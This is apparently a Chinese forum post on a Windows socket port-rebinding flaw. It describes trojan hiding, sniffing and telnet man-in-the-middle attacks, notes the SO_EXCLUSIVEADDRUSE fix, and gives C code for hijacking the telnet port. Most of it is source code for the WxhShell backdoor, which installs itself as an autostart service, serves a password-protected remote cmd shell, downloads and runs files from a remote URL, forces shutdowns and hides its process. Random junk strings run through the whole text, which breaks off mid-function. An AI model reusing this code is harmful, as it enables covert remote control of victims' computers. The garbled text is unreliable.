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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9K~2!< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b'Qia'a% h`dtcJ0 saddr.sin_family = AF_INET; ,<F =\G_f m8eyAvi6 saddr.sin_addr.s_addr = htonl(INADDR_ANY); %"PG/avo s42M[BW] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .GUm3b jW*|Mu>2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TjxZ-qw< <uUQ-]QOIh 这意味着什么?意味着可以进行如下的攻击: l CHaRR7 90> (`pI= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `rsPIOu Mg;%];2Nt 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $Z6g/bD`E mZ
39 s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dt(~)*~R ;]zV ?9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 r=P)iE: l
T~RH0L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r2}u\U4> =; Gw=m( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9Z]~c^UB o&P}GcEIw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $&/JY n/#zx:d? #include 3ny>5A!;2 #include }S51yDV G_ #include tFt56/4 #include zY~ DWORD WINAPI ClientThread(LPVOID lpParam); ZC 7R f int main() ~Q"3#4l { Bz<T{f WORD wVersionRequested; C,7d DWORD ret; Z"PPXv-<jY WSADATA wsaData; 0X@!i3eu BOOL val; >(mp$#+w SOCKADDR_IN saddr; WZO8|hY SOCKADDR_IN scaddr; q`z/ S> int err; V(_OyxeC{2 SOCKET s; 2^w3xL" SOCKET sc;
WV&T int caddsize; H,`F%G#!`q HANDLE mt; lxb+0fiN DWORD tid; e5G)83[= wVersionRequested = MAKEWORD( 2, 2 ); yG\^PD err = WSAStartup( wVersionRequested, &wsaData ); )9F-h8
&" if ( err != 0 ) { 6yk=4l\ printf("error!WSAStartup failed!\n"); 1O@
qpNm return -1; -V0_%Smc } MyB&mC7Es saddr.sin_family = AF_INET; ^Pl(V@ [ZC]O2' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /ivcqVu] l?pF?({ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _DsA<SJ] saddr.sin_port = htons(23); [8|Y2Z\N if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MCOiB<L6 { P^V,"B8t printf("error!socket failed!\n"); xIu# return -1; n^aSio6 } 2%| val = TRUE; \7rAQ[\#V //SO_REUSEADDR选项就是可以实现端口重绑定的 Zjqa n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S3#NGBZ/ { Uytq,3Gj6 printf("error!setsockopt failed!\n"); (:9yeP1 return -1; Mo?eVtZ } nOq?Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <xM$^r) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xz2U?)m;x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'a.n m$<LO%<~p if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +B(x:hzY9 { "Tw4'AY'P ret=GetLastError(); ?LJ$:u printf("error!bind failed!\n"); fP3e{dVf return -1; cs[_TJo } \H<gKZquR listen(s,2); t~5m[C[`w while(1) e7e6b-"_2 { o95)-Wb caddsize = sizeof(scaddr); m(0sG(A~ //接受连接请求 )Ve-) rZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3OnIAk3 if(sc!=INVALID_SOCKET) -s~6FrKy { 3a9%djGq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NUxOU>f if(mt==NULL) 2P\k;T( { a=ye!CN^ printf("Thread Creat Failed!\n"); Y~I$goT break; (!b_o A8V } feJzX*u } LDg"s0n# CloseHandle(mt); 8CXZ7 p } b1+6I_u. closesocket(s); ;8F|Q<`pV WSACleanup(); :~uvxiF return 0; :r4]8X- } zk6al$3R DWORD WINAPI ClientThread(LPVOID lpParam) IZ){xI {
|gXtP- SOCKET ss = (SOCKET)lpParam; K4T#8K]aZF SOCKET sc; !Cqm=q{K unsigned char buf[4096]; P9d%80(b4 SOCKADDR_IN saddr; yH`4sd long num; IE;Fu67wi DWORD val; QuF76&)7 DWORD ret; L >*
F8|g //如果是隐藏端口应用的话,可以在此处加一些判断 F4P=Wz] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Tbf@qid e saddr.sin_family = AF_INET; A%Ov.~&\G saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'eM90I%( saddr.sin_port = htons(23); (~59}lu~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aJ!(c}N~97 { =D&xw2 printf("error!socket failed!\n"); 6CQ.>M:R return -1; l7{]jKJue } "hE/f~\ val = 100; ;HKb if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) / 7i>0J] { *
':LBc=% ret = GetLastError(); /KL;%:7 return -1; ^*6So3 } "7w~0?} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gKp5* { g]fds Zv ret = GetLastError(); E$u9Jbe return -1; $`KddW0_ } VXE85 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z XI [f { 5g x9W\a ? printf("error!socket connect failed!\n"); 3CKd[=-Z closesocket(sc); |igr3p5Fw closesocket(ss); 2&e2/KEWR return -1; v?BVUH>#9 } nZ4JI+Q)~ while(1) dkHye> { ] "ZL<?3g //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +*I'!)T^B //如果是嗅探内容的话,可以再此处进行内容分析和记录 |"K< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fwu:x.( num = recv(ss,buf,4096,0); z%4E~u10 if(num>0) 4qd =]i send(sc,buf,num,0); O^Y}fo' else if(num==0) $0kuR!U.N break; Y)Os]<N1 num = recv(sc,buf,4096,0); Q3@MRR^tY if(num>0) !=)R+g6b send(ss,buf,num,0); f1Z else if(num==0) ;s^br17z~ break; : ~RY } ;^[VqFpeS closesocket(ss); v+), uj closesocket(sc); zeC@!,lH return 0 ; (Xak;Xum1 } `Kt]i5[ " wsfN \6e zL^`r)H ========================================================== fGwRv%$^ ~BUzyc% 下边附上一个代码,,WXhSHELL n?UFFi+a y ~PW_, ========================================================== 3d1$w M1Frn n #include "stdafx.h" !R
b ~x(1g;!^ #include <stdio.h> p aQ"[w #include <string.h> b}f#[* Z #include <windows.h> j O-H1@; #include <winsock2.h> @W_=Z0] #include <winsvc.h> /'[m6zm] #include <urlmon.h> w[K!m.p,u C;m,{MD #pragma comment (lib, "Ws2_32.lib") 9<" .1 #pragma comment (lib, "urlmon.lib") (t.OqgY 2\b 2W_ #define MAX_USER 100 // 最大客户端连接数 x;F^7c1 #define BUF_SOCK 200 // sock buffer B#A
.-nb #define KEY_BUFF 255 // 输入 buffer #"T< mM7 Ej[:!L #define REBOOT 0 // 重启
Y , #define SHUTDOWN 1 // 关机 1#Ls4+]5 Pse1NMK9 [ #define DEF_PORT 5000 // 监听端口 }k{h^!fV 8E/wUN,Lxj #define REG_LEN 16 // 注册表键长度 Au=9<WB%H #define SVC_LEN 80 // NT服务名长度 Q#h*C
ZT `U.VfQR: // 从dll定义API u%s@B1j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y8HwyU> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K3; lst>4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rUz-\H(- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); doX8Tq FX
yyY-(O // wxhshell配置信息 San=E@3}v! struct WSCFG { sC<
B int ws_port; // 监听端口 }C'H@:/ char ws_passstr[REG_LEN]; // 口令 nt5x[xa int ws_autoins; // 安装标记, 1=yes 0=no m|CB') char ws_regname[REG_LEN]; // 注册表键名 u2FD@Xq? char ws_svcname[REG_LEN]; // 服务名 0afDqvrC6 char ws_svcdisp[SVC_LEN]; // 服务显示名 &az
:YTq char ws_svcdesc[SVC_LEN]; // 服务描述信息 YF4?3K0F:k char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $:4*?8K2 int ws_downexe; // 下载执行标记, 1=yes 0=no {hNvCk char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Jc3Z1 Tt char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hoDE*>i d3IMQ_k }; 2_i9
q>I j "^V?e5 // default Wxhshell configuration 2!Gb4V struct WSCFG wscfg={DEF_PORT, AeZ__X "xuhuanlingzhe", /uNgftj 1, W5f|#{&L: "Wxhshell", ~vGX(8N "Wxhshell", Eq\PSa=gz "WxhShell Service", .boBo$f
"Wrsky Windows CmdShell Service", 6^Q/D7U;s "Please Input Your Password: ", rgK:ujzW! 1, `"-ln'nw " http://www.wrsky.com/wxhshell.exe", h(>eHP "Wxhshell.exe" P<OSm*;U: };
f ecV[ 7gx
7NDt // 消息定义模块 qs|{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k%gO
char *msg_ws_prompt="\n\r? for help\n\r#>"; O/N@Gz[g% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; V~~4<?=A char *msg_ws_ext="\n\rExit."; >Av[`1a2F char *msg_ws_end="\n\rQuit."; p-S&Wq char *msg_ws_boot="\n\rReboot..."; 45qSt2 char *msg_ws_poff="\n\rShutdown...";
G9YfJ?I char *msg_ws_down="\n\rSave to "; f)b+>! Dus [N<
w char *msg_ws_err="\n\rErr!"; A@?Rj char *msg_ws_ok="\n\rOK!"; ?b,x;hIO jfOqE*frl! char ExeFile[MAX_PATH]; 5.TeH@( int nUser = 0; 3+uCTn0% HANDLE handles[MAX_USER]; xIlo@W6 int OsIsNt; 1[4)Sq? q; n SERVICE_STATUS serviceStatus; `Vf k.OP SERVICE_STATUS_HANDLE hServiceStatusHandle; gx55.} xl]1{$1M // 函数声明 aQTISX; int Install(void); dsiQ~ [
int Uninstall(void); Pc:5*H int DownloadFile(char *sURL, SOCKET wsh); 26D,(Y$* int Boot(int flag); z5_#]:o& void HideProc(void); )[]*Y]vSx int GetOsVer(void); `alQmGUZ int Wxhshell(SOCKET wsl); :MF F*1 void TalkWithClient(void *cs); vTk\6o q int CmdShell(SOCKET sock); Bokpvd-c7 int StartFromService(void); knS(\51A int StartWxhshell(LPSTR lpCmdLine); ER'zjI>t@ {: H&2iF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~rl,Hr3Zo VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4[P]+Z5b+ j]X$7 // 数据结构和表定义 tEbR/?,GI SERVICE_TABLE_ENTRY DispatchTable[] = ~TvKMW6/# { MJ..' $>TC {wscfg.ws_svcname, NTServiceMain}, "rJJ~[Y {NULL, NULL} x&4gy%b }; O'L9 s>B $[*QsU%% // 自我安装 CwL8-z0 Jn int Install(void) ulAOQGZ { `Jv~.EF% char svExeFile[MAX_PATH]; S5(VdMd"^ HKEY key; /]@1IC{Lk strcpy(svExeFile,ExeFile); x[dR5 v&]k8Hc- // 如果是win9x系统,修改注册表设为自启动 oWP3Y. if(!OsIsNt) { |H%[tkW6c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \v]esIP5R' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =uil3:,[S RegCloseKey(key); &9ZrZ"] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y~'h/tjM@= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \YZ7 RegCloseKey(key); TilCP"(6D return 0; 5?=haGn } a^xt9o` } y~Ts9AE } %={[e`,
else { {n'+P3\T: .gP}/dj // 如果是NT以上系统,安装为系统服务 ;+3XDz
v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7+2DsZ^6MW if (schSCManager!=0) KM:k<pvi { 8TH fFL SC_HANDLE schService = CreateService XN Gw@$ ( Q?xCb schSCManager, q,%lG$0v wscfg.ws_svcname, g-8D1.U wscfg.ws_svcdisp, $uj3W<iw3E SERVICE_ALL_ACCESS, B(t`$mC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AC}[Qp! SERVICE_AUTO_START, N, SbJ Z SERVICE_ERROR_NORMAL, M8y:FDX svExeFile, 7ZR0cJw; NULL, {Yc#XP NULL, y8e'weK NULL, s)BB(vQ]6 NULL, sn.0`Stt NULL lq_(au. ); =&,<Co1 hF if (schService!=0) +aoenUm5 { eR|u']Em>T CloseServiceHandle(schService); d#vo)> CloseServiceHandle(schSCManager); RqU^Q*/sF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U'oFW@Y;h strcat(svExeFile,wscfg.ws_svcname); L}hc|(: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T?e(m RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (
C~ u. RegCloseKey(key); 6cVJu%<V return 0; Vm]xV_FOd } R|g50Q } |EZ\+!8N:{ CloseServiceHandle(schSCManager); 3bBCA9^se } {"vTaY@ } &peUC n !3;KC"o return 1; jM5w<T-2/ }
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pWk
+zL|j/q ? // 自我卸载 duq(K9S int Uninstall(void) |)[I$]L { oksAQnQe HKEY key; \C &V)/ H-C$Jy)f" if(!OsIsNt) { M$$Lsb [ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (CR]96n RegDeleteValue(key,wscfg.ws_regname); kD\7wz,ui RegCloseKey(key); yLgv<%8f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m4_ZGjmJM RegDeleteValue(key,wscfg.ws_regname); U.A:'9K, RegCloseKey(key); d9Uv/VGp return 0; N_liKhq } ~m6b6Aj@6 } ttd
^jT } aESlbH else { 2kkqPBc_
!L3\B_# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wi-F@})f# if (schSCManager!=0) >`=9So_J { WvN{f* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $,
vXyZ if (schService!=0) e.Gjp{ { (8td0zq
if(DeleteService(schService)!=0) { 9NC?J@&B CloseServiceHandle(schService); (,I9| CloseServiceHandle(schSCManager); xtFGj,N return 0; a\ZNN k } c1sVdM}| CloseServiceHandle(schService); G/N 1[) } E2i'lO\P CloseServiceHandle(schSCManager); :>K8oE
} t->I# t7 }
}'WEqNuE 9,cMb)=0 return 1; n%K^G4k^ } rGmxK|R z]HaE|j}S // 从指定url下载文件 {v,NNKQ4x int DownloadFile(char *sURL, SOCKET wsh) 3Q!)bMv \ { 36MNaQt'e HRESULT hr; %?m_;iv char seps[]= "/"; 6mmc{kw' char *token; pg.BOz\'q char *file; K};~A?ET,h char myURL[MAX_PATH]; 1"S~#
char myFILE[MAX_PATH]; P^^WViVX {wh, "Ok_ strcpy(myURL,sURL); GQ\;f token=strtok(myURL,seps); c|s7cG$+- while(token!=NULL) w`_"R6 { }!QVcu"+t/ file=token; ?p&( Af) token=strtok(NULL,seps); :k Kdda<g# } @MKf$O4K a)QSq<2* GetCurrentDirectory(MAX_PATH,myFILE); 8 -YC#& strcat(myFILE, "\\"); !rTkH4!_ strcat(myFILE, file); })umg8s send(wsh,myFILE,strlen(myFILE),0); ]{ir^[A6 send(wsh,"...",3,0); Cs'<;|r( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 821;; ]H if(hr==S_OK) \rM5@
Vf return 0; ows3% else +}x\|O return 1; O39f |ngv{g } {F ',e~}s #CRd@k? // 系统电源模块 s<{) X$ int Boot(int flag) V/]o': { &3f^]n!@ HANDLE hToken; DCKH^J TOKEN_PRIVILEGES tkp; M
\UB
r4 o&MOcy D if(OsIsNt) { opgNt o6$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @tlWyUju LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B^@X1EE tkp.PrivilegeCount = 1; Xbu P_U' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?$.JgG%Z+g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :B~m^5 if(flag==REBOOT) { lf\x`3Vd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p&2oe\j$, return 0; q0{ _w } #|/+znJm else { W
H%EC$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >e!Y 63` return 0; .'bhRQY } J1Run0 } @_0tq { else { H;MyT Vl if(flag==REBOOT) { `r]C%Y4? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =Q #d0Q return 0; 2H/{OQ$ } mo"1|Q& else { y\_k8RqE^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #ri;{d^6 return 0; m4?a'z" } qIwsK\^p } >%LY0(hY3 hA1p# return 1; L&0aS: } YySo%\d *uoO#4g~ // win9x进程隐藏模块 "KgNMNep void HideProc(void) ;KgDVq5 { ]GBlads W<:x4gBa HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <"yL(s^u" if ( hKernel != NULL ) .'b|pd { JnLF61 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EMzJyGt7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uC%mGZa FreeLibrary(hKernel); 7Q9| P?&:z } }$b!/<7FD S0`u!l89( return; VIg6' } L*cP8v4 8^67,I-c // 获取操作系统版本 L_q3m-x0h int GetOsVer(void) WAf"| { VniU:A OSVERSIONINFO winfo; <R?S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]f>0P3O5& GetVersionEx(&winfo); Dt\rrN:v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OZEbs 7 return 1; Q/0oe()) else C;~LY&= return 0; @VQ<X4Za } CSY-{ kH`?^^_yJ // 客户端句柄模块 2"c 5< int Wxhshell(SOCKET wsl) 'Y/kF1,* { +J#8wh SOCKET wsh; 2R W~jn" struct sockaddr_in client; jig3M N DWORD myID; \VWgF)_ [^D>xD3B2 while(nUser<MAX_USER) Eu<f { YFDOp* int nSize=sizeof(client); Ze <)B
* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9bhubx\^/ if(wsh==INVALID_SOCKET) return 1; 5H1N]v+ w[ $oH^7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `z$P,^g` if(handles[nUser]==0) 6)BPDfU, closesocket(wsh); aKE`nA0\B else P- +]4\ nUser++; !a25cm5ys } 97~>gFU77# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jFip-=T{4 /;{L~f=et) return 0; :@a0h } 62MQ+H \hn$-'=4 // 关闭 socket +25=u|#4r void CloseIt(SOCKET wsh) V.6pfL { A3*(c3 closesocket(wsh); "Q:h[) a nUser--; ec/>LJDX7 ExitThread(0); }"SqB{5e( } c{ +bY.J k"C'8<T)' // 客户端请求句柄 ALcPbr void TalkWithClient(void *cs) O&&_) { C/H;|3.X $rTb'8 SOCKET wsh=(SOCKET)cs; MT:VQ>fC char pwd[SVC_LEN]; CJ7S5 char cmd[KEY_BUFF]; L[A?W char chr[1]; Yi)s=Q : int i,j; <=D
a 0w0{@\9 while (nUser < MAX_USER) { g<,0kl2'S FvYciU! if(wscfg.ws_passstr) { ;<thEWH;Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mQR9Pn}H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O|)b$H_ //ZeroMemory(pwd,KEY_BUFF); +
d 3 i=0; u`.)O2)xU while(i<SVC_LEN) { -%gEND-AP (vX<Bh // 设置超时 PHEQG]H S fd_set FdRead; HyOrAv
< struct timeval TimeOut;
Gk/cP` FD_ZERO(&FdRead); -ucgET` FD_SET(wsh,&FdRead); Kd58'$ TimeOut.tv_sec=8; D6l.x]K TimeOut.tv_usec=0; B /w&Lo int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y22DBB8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -zn_d]NV ;gSRpTS: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z<^!N) pwd =chr[0]; ZTz07Jt if(chr[0]==0xd || chr[0]==0xa) { -W<1BJE pwd=0; 'P" i9j break; Hh*?[-&r~ } W]7/
e i++; 'L-DMNxBr } {>9ED.t 3
V>$H\H // 如果是非法用户,关闭 socket %lWOW2~R if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Iv*\8?07) } )RvX}y- zxCx2.7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k4dC send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6h,!;`8O M}# DX=NZc while(1) { MuQ)F-GSUu $--+M
D29Q ZeroMemory(cmd,KEY_BUFF); G$MEVfd" -~lq <M // 自动支持客户端 telnet标准 <Nqbp j=0; 0kOwA%m while(j<KEY_BUFF) { X(MS!R V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t4G$#~ cmd[j]=chr[0]; RK &>!^ if(chr[0]==0xa || chr[0]==0xd) { ,NS*`F[O cmd[j]=0; ^N|8
B?Vg break; B 5|\<CF }
9Pe$}N j++; 4d4+%5GE } bIyg7X)/ \rzMgR$/rj // 下载文件 URrx7F98 if(strstr(cmd,"http://")) { B6k<#-HAT send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6X%g-aTs if(DownloadFile(cmd,wsh)) =(D"(OsQ/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z%B6J>;u M else (H !iK,R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l[ $bn!_e } &
rab,I" else { S* O .
? fM4B.45j switch(cmd[0]) { !Vw1w1 ChG7>4:\ // 帮助 jd-]q2fQ| case '?': { -LszaMR} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xi(\=LbhY break; o25rKC=o } Lm2)3;ei // 安装 UWvVYdy7 case 'i': { ]{\ttb%GX if(Install()) [A!w send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;ISnI else T TN!$?G3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9"]#.A^Q* break; ucx02^uA } +)"Rv%. // 卸载 U\tx{CsSz case 'r': { zZ8 *a\ if(Uninstall()) {XmCG%%L send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9DNp else SI+Uq(k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KRC"3Qt
break; oIj=ba(n1 } 3^+D,)#D^ // 显示 wxhshell 所在路径 U*$xR<8v case 'p': { OpEH4X.Z char svExeFile[MAX_PATH]; F. SB_S<' strcpy(svExeFile,"\n\r"); j/d}B_2 strcat(svExeFile,ExeFile); Fds
11
/c7 send(wsh,svExeFile,strlen(svExeFile),0); =oq8SL?bJ* break; lt&(S) } SULFAf< // 重启 daI_@k Y" case 'b': { Z%qtAPd send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3>aEP5 if(Boot(REBOOT)) bPU
i44P send(wsh,msg_ws_err,strlen(msg_ws_err),0); UgC65O2 else { \}?X5X> closesocket(wsh); $0E+8xE ExitThread(0); }Pg}"fb^ } m"iA#3l*= break; :]@c%~~!& } I'BhN#GhX // 关机 S-7&$n case 'd': { _Ns EeKU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K8sRan[4} if(Boot(SHUTDOWN)) ~I@lsCh send(wsh,msg_ws_err,strlen(msg_ws_err),0); p/HDG
^T:u else { 2H)4}5H closesocket(wsh); 7PX`kI ExitThread(0); $ItjVc@U } 1
&9|~">{C break; @a?7D;+< } 5dj@N3ZX7; // 获取shell -{xk&EB^$5 case 's': { Nhjq.& CmdShell(wsh); bItcF$#!!! closesocket(wsh); Yg^ &4ZF ExitThread(0); [7FG;}lB- break; F^75y? } 0
Uropam // 退出 o3 fc - case 'x': { "s(~k send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $ s/E}X CloseIt(wsh); ,KW
Q
6 break; 9qB0F_xl } q*l4h u%3 // 离开 tg/UtE`V case 'q': { vt|R)[, send(wsh,msg_ws_end,strlen(msg_ws_end),0); %M@K(Qu closesocket(wsh); U%nkPIFm WSACleanup(); <h7cQ exit(1); ,RV
qYh(-| break; _{K mj,q } Cku"vVw, } bP&QFc } ?dgyi4J?=` Q!e560@ // 提示信息 6st
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :CyHo6o9 } J,2V&WuV0r } D0r viO 147QB+cE return; R-13DVK } f<Hi=Qpm lir=0oq< // shell模块句柄 T }}2J/sj int CmdShell(SOCKET sock) '+PKGmRW { `<C<[JP:o STARTUPINFO si; 9{toPED ZeroMemory(&si,sizeof(si)); t<!;shH,s si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d#g))f; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l#'V
SFm& PROCESS_INFORMATION ProcessInfo; i+*!"/De char cmdline[]="cmd"; P=QxfX0B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
9r!8BjA return 0; Yq+1kA } Y^eN}@]?& x#>V50E // 自身启动模式 iVXt@[ int StartFromService(void) FE~D:)Xj'? {
;A*SuFbV typedef struct @NiuT%#c { .-KI,IU DWORD ExitStatus; 1@F-t94I DWORD PebBaseAddress; 6>a6;[ DWORD AffinityMask; 2B
]q1>a! DWORD BasePriority; z0[XI 7KK ULONG UniqueProcessId; b(Nv`'O ULONG InheritedFromUniqueProcessId; mlnF,+s } PROCESS_BASIC_INFORMATION; I\~[GsDY s^wm2/Yw PROCNTQSIP NtQueryInformationProcess; bn(N8MFCV [n2B6Px static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #S}orWj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VI0wul~M v ,8;:
